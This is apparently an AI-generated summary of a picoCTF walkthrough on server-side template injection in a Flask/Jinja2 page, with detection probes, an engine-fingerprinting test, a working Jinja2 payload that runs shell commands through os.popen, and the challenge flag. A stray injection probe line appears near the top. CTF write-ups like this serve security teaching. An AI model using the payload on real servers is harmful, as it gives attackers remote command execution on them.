AI Model:
nvidia/nemotron-3-nano-30b-a3b:free
{%if 1==1%}SSTIOK26488{%endif%}
SSTI Exploit Walkthrough
-
The challenge runs a Flask/Jinja2‑based web page that echoes user‑provided
contentdirectly into the template.
hwkim301.com -
By sending
{{7*7}}the server returns49, proving that the engine evaluates Jinja2 syntax.
hwkim301.com -
Trying
{{7*'7'}}yields7777777, which distinguishes Jinja2 from Twig.
hwkim301.com -
An RCE payload can leverage the built‑in
__builtins__andos.popento execute arbitrary commands.
portswigger.net- Payload:
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}} - The server prints the flag
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r0c3b6390}. * Source: hwkim301.com
- Payload:
-
Examining the source code shows a one‑liner route that concatenates the POSTed input straight into the rendered template.
hwkim301.com
Key Images
The walkthrough demonstrates how SSTI can be detected, the responsible template engine identified, and finally abused to retrieve the flag.